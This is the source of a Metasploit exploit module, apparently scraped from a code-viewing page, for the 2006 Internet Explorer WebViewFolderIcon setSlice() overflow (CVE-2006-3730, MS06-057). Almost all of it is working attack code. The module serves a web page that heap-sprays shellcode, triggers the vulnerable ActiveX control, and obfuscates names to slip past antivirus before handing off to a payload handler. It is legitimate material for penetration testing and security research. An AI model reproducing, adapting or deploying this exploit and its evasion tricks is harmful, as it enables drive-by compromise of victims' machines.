|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132  |  ## # $Id: ms06_057_webview_setslice.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpServer::HTML  def initialize(info = {})  super(update_info(info,  'Name' => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',  'Description'=> %q{  This module exploits a flaw in the WebViewFolderIcon ActiveX control  included with Windows 2000, Windows XP, and Windows 2003. This flaw was published  during the Month of Browser Bugs project (MoBB #18).  },  'License'=> MSF_LICENSE,  'Author' =>  [  'hdm',  ],  'Version'=> '$Revision: 9669 $',  'References' =>  [  [ 'CVE', '2006-3730'],  [ 'OSVDB', '27110' ],  [ 'MSB', 'MS06-057'],  [ 'BID', '19030' ],  [ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ]  ],  'Payload'=>  {  'Space'=> 1024,  'BadChars' => "\x00",  },  'Platform' => 'win',  'Targets'=>  [  ['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]  ],  'DefaultTarget'=> 0,  'DisclosureDate' => 'Jul 17 2006'))  end  def on_request_uri(cli, request)  # Re-generate the payload  return if ((p = regenerate_payload(cli)) == nil)  # Encode the shellcode  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  # Get a unicode friendly version of the return address  addr_word= [target.ret].pack('V').unpack('H*')[0][0,4]  # Randomize the javascript variable names  var_buffer= rand_text_alpha(rand(30)+2)  var_shellcode = rand_text_alpha(rand(30)+2)  var_unescape= rand_text_alpha(rand(30)+2)  var_x = rand_text_alpha(rand(30)+2)  var_i = rand_text_alpha(rand(30)+2)  var_tic = rand_text_alpha(rand(30)+2)  var_toc = rand_text_alpha(rand(30)+2)  # Annoying AVs  var_aname = "==QMu42bjlkclRGbvZ0dllmViV2Vu42bjlkclRGbvZ0dllmViV2V".reverse.unpack("m*")[0]  var_ameth = "=U2Ypx2U0V2c".reverse.unpack("m*")[0]  # Randomize HTML data  html= rand_text_alpha(rand(30)+2)  # Build out the message  content = %Q| <html> <head>  <script>  try {  var #{var_unescape}= unescape ;  var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;  var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;  while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;  var #{var_x} = new Array() ;  for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {  #{var_x}[ #{var_i} ] =  #{var_buffer}.substring( 0 ,0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;  }  for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {  var #{var_tic} = new ActiveXObject( '#{var_aname}' );  try { #{var_tic}.#{var_ameth}( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }  var #{var_toc} = new ActiveXObject( '#{var_aname}' );  }  } catch( e ) { window.location = 'about:blank' ; }  </script> </head> <body> #{html} </body> </html>  |  content = Rex::Text.randomize_space(content)  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  # Transmit the response to the client  send_response_html(cli, content)  # Handle the payload  handler(cli)  end end  |